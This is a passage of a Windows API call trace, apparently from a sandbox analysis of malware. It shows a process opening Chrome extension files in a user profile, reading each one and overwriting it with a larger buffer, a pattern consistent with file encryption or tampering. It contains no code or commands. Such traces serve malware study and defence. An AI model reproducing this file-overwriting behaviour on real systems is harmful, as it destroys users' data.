lpUsedDefaultChar=0x0) returned 13 [0050.485] ReadFile (in: hFile=0x198, lpBuffer=0x25c4f98, nNumberOfBytesToRead=0xd9, lpNumberOfBytesRead=0x2b0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x25c4f98*, lpNumberOfBytesRead=0x2b0f2bc*=0xd9, lpOverlapped=0x0) returned 1 [0050.486] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f300*=0) returned 0x0 [0050.486] WriteFile (in: hFile=0x198, lpBuffer=0x263fd98*, nNumberOfBytesToWrite=0x661, lpNumberOfBytesWritten=0x2b0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x263fd98*, lpNumberOfBytesWritten=0x2b0f2d0*=0x661, lpOverlapped=0x0) returned 1 [0050.486] CloseHandle (hObject=0x198) returned 1 [0050.486] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\he\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\he\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198 [0050.487] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0050.487] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0xdd [0050.487] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0050.487] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0050.487] ReleaseMutex (hMutex=0x128) returned 1 [0050.487] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0050.487] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x1e62fec, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="messages.json", lpUsedDefaultChar=0x0) returned 13 [0050.487] ReadFile (in: hFile=0x198, lpBuffer=0x25c4f98, nNumberOfBytesToRead=0xdd, lpNumberOfBytesRead=0x2b0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x25c4f98*, lpNumberOfBytesRead=0x2b0f2bc*=0xdd, lpOverlapped=0x0) returned 1 [0050.488] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f300*=0) returned 0x0 [0050.488] WriteFile (in: hFile=0x198, lpBuffer=0x261fa88*, nNumberOfBytesToWrite=0x665, lpNumberOfBytesWritten=0x2b0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x261fa88*, lpNumberOfBytesWritten=0x2b0f2d0*=0x665, lpOverlapped=0x0) returned 1 [0050.488] CloseHandle (hObject=0x198) returned 1 [0050.488] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\nl\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\nl\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198 [0050.488] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0050.488] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0xd9 [0050.489] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0050.489] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0050.489] ReleaseMutex (hMutex=0x128) returned 1 [0050.489] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0050.489] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x1e6334c, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="messages.json", lpUsedDefaultChar=0x0) returned 13 [0050.489] ReadFile (in: hFile=0x198, lpBuffer=0x25c4f98, nNumberOfBytesToRead=0xd9, lpNumberOfBytesRead=0x2b0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x25c4f98*, lpNumberOfBytesRead=0x2b0f2bc*=0xd9, lpOverlapped=0x0) returned 1 [0050.490] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f300*=0) returned 0x0 [0050.490] WriteFile (in: hFile=0x198, lpBuffer=0x263fd98*, nNumberOfBytesToWrite=0x661, lpNumberOfBytesWritten=0x2b0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x263fd98*, lpNumberOfBytesWritten=0x2b0f2d0*=0x661, lpOverlapped=0x0) returned 1 [0050.490] CloseHandle (hObject=0x198) returned 1 [0050.490] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sv\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sv\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198 [0050.490] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0050.490] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0xd6 [0050.490] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0050.490] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0050.490] ReleaseMutex (hMutex=0x128) returned 1 [0050.490] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0050.491] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x1e62fec, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="messages.json", lpUsedDefaultChar=0x0) returned 13 [0050.491] ReadFile (in: hFile=0x198, lpBuffer=0x25c4f98, nNumberOfBytesToRead=0xd6, lpNumberOfBytesRead=0x2b0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x25c4f98*, lpNumberOfBytesRead=0x2b0f2bc*=0xd6, lpOverlapped=0x0) returned 1 [0050.491] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f300*=0) returned 0x0 [0050.491] WriteFile (in: hFile=0x198, lpBuffer=0x263fd98*, nNumberOfBytesToWrite=0x65e, lpNumberOfBytesWritten=0x2b0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x263fd98*, lpNumberOfBytesWritten=0x2b0f2d0*=0x65e, lpOverlapped=0x0) returned 1 [0050.491] CloseHandle (hObject=0x198) returned 1 [0050.492] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\manifest.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\manifest.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198 [0050.492] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0050.492] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x3ec [0050.492] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0050.492] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0050.492] ReleaseMutex (hMutex=0x128) returned 1 [0050.492] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="manifest.json", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0050.492] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="manifest.json", cchWideChar=13, lpMultiByteStr=0x1e6334c, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="manifest.json", lpUsedDefaultChar=0x0) returned 13 [0050.492] ReadFile (in: hFile=0x198, lpBuffer=0x1dab628, nNumberOfBytesToRead=0x3ec, lpNumberOfBytesRead=0x2b0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1dab628*, lpNumberOfBytesRead=0x2b0f2bc*=0x3ec, lpOverlapped=0x0) returned 1 [0050.504] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f300*=0) returned 0x0 [0050.504] WriteFile (in: hFile=0x198, lpBuffer=0x1de0dd8*, nNumberOfBytesToWrite=0x974, lpNumberOfBytesWritten=0x2b0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x1de0dd8*, lpNumberOfBytesWritten=0x2b0f2d0*=0x974, lpOverlapped=0x0) returned 1 [0050.504] CloseHandle (hObject=0x198) returned 1 [0050.505] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\es\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\es\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198 [0050.505] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0050.505] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x103 [0050.505] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0050.505] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0050.505] ReleaseMutex (hMutex=0x128) returned 1 [0050.505] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0050.505] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x1e6312c, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="messages.json", lpUsedDefaultChar=0x0) returned 13 [0050.505] ReadFile (in: hFile=0x198, lpBuffer=0x1ddb648, nNumberOfBytesToRead=0x103, lpNumberOfBytesRead=0x2b0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1ddb648*, lpNumberOfBytesRead=0x2b0f2bc*=0x103, lpOverlapped=0x0) returned 1 [0050.506] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f300*=0) returned 0x0 [0050.506] WriteFile (in: hFile=0x198, lpBuffer=0x261fa88*, nNumberOfBytesToWrite=0x68b, lpNumberOfBytesWritten=0x2b0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x261fa88*, lpNumberOfBytesWritten=0x2b0f2d0*=0x68b, lpOverlapped=0x0) returned 1 [0050.507] CloseHandle (hObject=0x198) returned 1 [0050.507] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\hu\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\hu\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198 [0050.507] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0050.507] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x108 [0050.507] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0050.507] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0050.507] ReleaseMutex (hMutex=0x128) returned 1 [0050.507] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0050.507] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x1e6334c, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="messages.json", lpUsedDefaultChar=0x0) returned 13 [0050.507] ReadFile (in: hFile=0x198, lpBuffer=0x25fa608, nNumberOfBytesToRead=0x108, lpNumberOfBytesRead=0x2b0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x25fa608*, lpNumberOfBytesRead=0x2b0f2bc*=0x108, lpOverlapped=0x0) returned 1 [0050.508] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f300*=0) returned 0x0 [0050.508] WriteFile (in: hFile=0x198, lpBuffer=0x261fa88*, nNumberOfBytesToWrite=0x690, lpNumberOfBytesWritten=0x2b0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x261fa88*, lpNumberOfBytesWritten=0x2b0f2d0*=0x690, lpOverlapped=0x0) returned 1 [0050.508] CloseHandle (hObject=0x198) returned 1 [0050.509] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\pl\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\pl\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198 [0050.509] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0050.509] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x101 [0050.509] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0050.509] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0050.509] ReleaseMutex (hMutex=0x128) returned 1 [0050.509] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0050.509] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x1e6312c, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="messages.json", lpUsedDefaultChar=0x0) returned 13 [0050.509] ReadFile (in: hFile=0x198, lpBuffer=0x1ddb648, nNumberOfBytesToRead=0x101, lpNumberOfBytesRead=0x2b0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1ddb648*, lpNumberOfBytesRead=0x2b0f2bc*=0x101, lpOverlapped=0x0) returned 1 [0050.510] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f300*=0) returned 0x0 [0050.510] WriteFile (in: hFile=0x198, lpBuffer=0x261fa88*, nNumberOfBytesToWrite=0x689, lpNumberOfBytesWritten=0x2b0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x261fa88*, lpNumberOfBytesWritten=0x2b0f2d0*=0x689, lpOverlapped=0x0) returned 1 [0050.510] CloseHandle (hObject=0x198) returned 1 [0050.510] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\tr\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\tr\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198 [0050.511] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0050.511] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x10e [0050.511] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0050.511] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0050.511] ReleaseMutex (hMutex=0x128) returned 1 [0050.511] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0050.511] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x1e6334c, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="messages.json", lpUsedDefaultChar=0x0) returned 13 [0050.511] ReadFile (in: hFile=0x198, lpBuffer=0x25fa608, nNumberOfBytesToRead=0x10e, lpNumberOfBytesRead=0x2b0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x25fa608*, lpNumberOfBytesRead=0x2b0f2bc*=0x10e, lpOverlapped=0x0) returned 1 [0050.512] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f300*=0) returned 0x0 [0050.512] WriteFile (in: hFile=0x198, lpBuffer=0x261fa88*, nNumberOfBytesToWrite=0x696, lpNumberOfBytesWritten=0x2b0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x261fa88*, lpNumberOfBytesWritten=0x2b0f2d0*=0x696, lpOverlapped=0x0) returned 1 [0050.512] CloseHandle (hObject=0x198) returned 1 [0050.512] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ca\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ca\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198 [0050.513] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0050.513] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0xb3 [0050.513] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0050.513] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0050.513] ReleaseMutex (hMutex=0x128) returned 1 [0050.513] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0050.513] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x1e6312c, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="messages.json", lpUsedDefaultChar=0x0) returned 13 [0050.513] ReadFile (in: hFile=0x198, lpBuffer=0x1e37248, nNumberOfBytesToRead=0xb3, lpNumberOfBytesRead=0x2b0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1e37248*, lpNumberOfBytesRead=0x2b0f2bc*=0xb3, lpOverlapped=0x0) returned 1 [0050.514] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f300*=0) returned 0x0 [0050.515] WriteFile (in: hFile=0x198, lpBuffer=0x263fd98*, nNumberOfBytesToWrite=0x63b, lpNumberOfBytesWritten=0x2b0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x263fd98*, lpNumberOfBytesWritten=0x2b0f2d0*=0x63b, lpOverlapped=0x0) returned 1 [0050.515] CloseHandle (hObject=0x198) returned 1 [0050.515] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\he\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\he\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198 [0050.515] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0050.515] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0xb3 [0050.515] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0050.515] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0050.515] ReleaseMutex (hMutex=0x128) returned 1 [0050.515] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0050.515] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x1e6334c, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="messages.json", lpUsedDefaultChar=0x0) returned 13 [0050.515] ReadFile (in: hFile=0x198, lpBuffer=0x1e37248, nNumberOfBytesToRead=0xb3, 